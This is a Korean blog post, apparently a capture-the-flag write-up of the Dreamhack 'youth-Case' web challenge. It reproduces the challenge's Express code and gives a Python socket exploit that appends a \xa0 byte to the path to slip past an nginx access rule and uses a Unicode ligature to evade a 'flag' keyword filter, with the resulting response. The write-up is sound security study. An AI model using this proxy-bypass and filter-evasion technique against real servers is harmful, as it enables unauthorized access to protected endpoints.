[Dreamhack] youth-Case
2024. 11. 22.

버그바운티 준비하겠답시고 웹 해킹 문제만 열심히 푸는듯

리버싱이랑 포너블도 풀어야 하는데 할게 많다...

https://dreamhack.io/wargame/challenges/1402

 

youth-Case

Description Bypass 👨‍💻filter

dreamhack.io

문제 설명만 보면 필터를 우회해서 플래그를 얻어야 되는 문제인것 같은데...일단 파일을 다운받고 코드 분석 후 웹 사이트 구조를 살펴보자.

더보기

app.js

const words = require("./ag")
const express = require("express")

const PORT = 3000
const app = express()
app.set('case sensitive routing', true)
app.use(express.urlencoded({ extended: true }))

function search(words, leg) {
    return words.find(word => word.name === leg.toUpperCase())
}

app.get("/",(req, res)=>{
    return res.send("hi guest")
})

app.post("/shop",(req, res)=>{
    const leg = req.body.leg.toLowerCase()

    if (leg == 'flag'){
        return res.status(403).send("Access Denied")
    }

    const obj = search(words,leg)

    if (obj){
        return res.send(JSON.stringify(obj))
    }

    return res.status(404).send("Nothing")
})

app.listen(PORT,()=>{
    console.log(`[+] Started on ${PORT}`)
})

 

ag.js

module.exports = [
    {
        "id": 1,
        "name": "FLAG",
        "description": "DH{fake_flag}"
    },
    {
        "id": 2,
        "name": "DRAG",
        "description": "To pull something along forcefully, often on the ground or another surface, causing friction or resistance. It also refers to the delay in performance or response time."
    },
    {
        "id": 3,
        "name": "SLAG",
        "description": "The waste material produced by the smelting process, which involves separating metal from its ore. Slag is typically a mixture of metal oxides and silicon dioxide."
    },
    {
        "id": 4,
        "name": "SWAG",
        "description": "Refers to stylish confidence in one's appearance or demeanor. It can also mean promotional goods or items given away for free as a form of advertising."
    }
]

app.js에서 중요한 부분만 코드를 분석해보자.

app.post("/shop",(req, res)=>{
    const leg = req.body.leg.toLowerCase()

    if (leg == 'flag'){
        return res.status(403).send("Access Denied")
    }

    const obj = search(words,leg)

    if (obj){
        return res.send(JSON.stringify(obj))
    }

    return res.status(404).send("Nothing")
})

post요청을 받는 api /shop
leg 쿼리 변수는 소문자로 변환 후 leg 변수에 저장

leg == 'flag' 일 경우, 403 에러 출력

obj = search(words, leg)
search는 find 메소드를 이용해서 words에 word.name이 있는지? 찾아내서 있으면 true, 없으면 false 반환

obj == true일 경우
res.send(JSON.stringify(obj))

 

ag.js의 코드를 보면

{
        "id": 1,
        "name": "FLAG",
        "description": "DH{fake_flag}"
    }

만약 leg = flag를 보내는 데 성공하면 플래그를 출력하는 듯 하다.

웹 사이트에 접속해보자.

 

nginx의 버전은 1.22.0이다.

curl -X POST http://host3.dreamhack.games:23103/shop. -d "leg=fLaG"
curl -X POST http://host3.dreamhack.games:23103/shop// -d "leg=fLaG"

당연히 안먹힘

.이랑 /를 url encoding해서 보내봐도 실패

 

※ unicode case mapping collision
대문자 or 소문자로 변환했을 때 같은 문자가 되는 특이 케이스

더보기

★ example

 

223 -- "ß".toUpperCase ==> "SS"
64256 -- "ff".toUpperCase ==> "FF"
64257 -- "fi".toUpperCase ==> "FI"
64258 -- "fl".toUpperCase ==> "FL"
64259 -- "ffi".toUpperCase ==> "FFI"
64260 -- "ffl".toUpperCase ==> "FFL"
64261 -- "ſt".toUpperCase ==> "ST"
64262 -- "st".toUpperCase ==> "ST"

Write - up

더보기

** 결국 지인에게 도움받아서 풀었습니다...ㅠ

공백제거 불일치와 case mapping collision을 이용한 문제이다.

url encoding 이슈로 인해 http 요청 패킷에 \xa0를 삽입해서 보내야 했다. 계속 curl, burp suite로 가로채서 경로에 \xa0를 넣어서 보냈는데 계속 실패한것.... 아마 요청이 직접적으로 닿기 전에 url decode를 한번 수행해서 실패하는듯

+) curl로 하면 실패함니다...ㅠ

※ curl의 동작 방식
curl은 URL을 전송하기 전에 표준화된 방식으로 처리함, 즉 URL 경로의 유효성을 검사하며, /shop\xa0와 /shop를 동일하게 처리
-> ex> curl은 %C2%A0 (UTF-8로 인코딩된 \xa0) 같은 특수 문자도 알아서 자체 해석해서 서버에 표준화된 요청을 보냄, 그렇기에 nginx 단에는 그냥 /shop으로 요청이 들어오는것 

서버 스택은 node js, nginx 버전은 1.22이므로 \xa0 를 넣어서 우회해 보면 될 듯 하다.

python에서 socket을 이용해 http 패킷을 직접 보낼 것이고, 보내기 전 http 패킷 형식을 한번 살펴보도록 하자.

POST /shop\xa0 HTTP/1.1\r\n
Host: host3.dreamhack.games:10291/\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 9\r\n
\r\n
leg=flag

content - length는 9바이트

leg= -> 총 4바이트

\xEF\xAC\x82 -> 3바이트

ag => 총 2바이트

합해서 9바이트

\r\n은 http에서 쓰이는 개행문자

 

  • 헤더 부분의 끝은 반드시 빈 줄(\r\n\r\n)로 표시해야 한다.(주의!) 이는 헤더가 끝났고, 이제 본문 데이터를 전달한다는 신호이자 구분이기 때문이다.
  • 헤더 끝의 \r\n\r\n는 HTTP 프로토콜 표준이므로 패킷을 만들어 보낼때 꼭 넣어야 함

 

exploit code

from socket import socket

host = 'host3.dreamhack.games' 
port = 10291

def send_payload(host, port):
    with socket() as s:
        s.connect((host, port))
        payload = b"""POST /shop\xa0 HTTP/1.1\r\nHost: """ + host.encode() + b":" + str(port).encode() + b"""\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 9\r\n\r\nleg=\xEF\xAC\x82ag"""
        s.send(payload)
        res = s.recv(1024) # 1024 바이트 만큼 읽어옴
        print(res)

if __name__ == "__main__":  # 함수 실행하자마자 바로 실행되는 부분이라는 의미
    send_payload(host, port)

payload 부분을 보면 /shop 뒤에 /xa0를 추가적으로 넣어서 nginx의 acl을 우회하고, nodejs 단에서 제거하도록 하고 있다.

그리고 계속적으로 고려못한 부분이 leg = flag 부분에서 어차피 서버에서는 대소문자 구분해서 받으니까 FlaG 이렇게 보내도 상관 없다고 생각했는데 여기서도 차단이 되서 또 안됬던 것....! javascript에도 mapping collision을 일으키는 unicode들이 존재하는데(uppercase, lowercase 해도 일으킴) 이를 조합해서 'flag'라는 문자열을 만들어야 했던 것

그리고 보내기 전에 url encoding 잊지말자. 

우리가 그냥 아스키 / utf로 보내면 못알아먹지만, 서버 브라우저가 알아먹게 하기 위해 url encoding이란게 존재하고, 인코딩을 해야 얘네가 그제서야 그 문자를 보고 어떤 문자인지 이해한다.

● 위의 함수를 실행시켜보면 

 참고로 toUpperCase로 받아서 검증을 하기 때문에 아래와 같이 body parameter로 보내도 된다.

leg=\xef\xac\x82ag

차피 소문자로 보내도 nginx.conf에서는 대문자로 바꿔서 검증하기 때문에 동일하게 flag로 인식하고 플래그를 출력한다.

Server: nginx/1.22.0
Date: Fri, 22 Nov 2024 02:55:51 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 107
Connection: keep-alive
X-Powered-By: Express
ETag: W/"6b-4RG9RKbhUmHSM7GVq8tG3ZyD6h4"

<!-- 본문 데이터 --!>
{"id":1,"name":"FLAG","description":"DH{5353d40122172ffff986d9720f1106b324ed67c78ecc497ba9d43f897eb41b7a}"}

 

  • Server: 응답을 처리한 웹 서버(nginx/1.22.0).
  • Date: 응답이 생성된 시간(GMT 표준).
  • Content-Type: 응답 본문의 MIME 유형(text/html)과 문자 인코딩(utf-8).
  • Content-Length: 응답 본문의 크기(107 바이트).
  • Connection: 연결 방식(keep-alive로 설정되어 연결을 유지).
  • X-Powered-By: 백엔드 프레임워크(Express).
  • ETag: 응답 데이터의 캐싱을 위한 고유 식별자.

 

 

References

https://book.hacktricks.xyz/kr/pentesting-web/proxy-waf-protections-bypass

 

Proxy / WAF Protections Bypass | HackTricks

\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

book.hacktricks.xyz

https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies

 

(Research) Exploiting HTTP Parsers Inconsistencies

In this cybersecurity research, I'm going to show inconsistencies within HTTP parsers of various web applications. [Cache Poisoning, Desync Attacks, SSRF].

rafa.hashnode.dev

https://domdom.tistory.com/292

 

[Research] Unicode Case Mapping Collisions

Unicode Case Mapping Collision란? 서로 다른 문자를 대문자 또는 소문자로 변환했을 때 같은 문자가 되는 특이 케이스를 의미합니다. 주로 도메인이나 이메일 입력을 검증하는 로직에서 많이 발생하곤

domdom.tistory.com

 

'보안 > Web hacking' 카테고리의 다른 글

[Dreamhack] TODO List 0.0.1  (1) 2024.11.29
[Dreamhack] Broken Is SSRF possible?  (0) 2024.11.24
[Dreamhack] Secure Secret  (1) 2024.11.14
[Dreamhack] Where-is-localhost  (0) 2024.11.11
Dreamhack CTF Season5 round2 Web  (0) 2024.09.19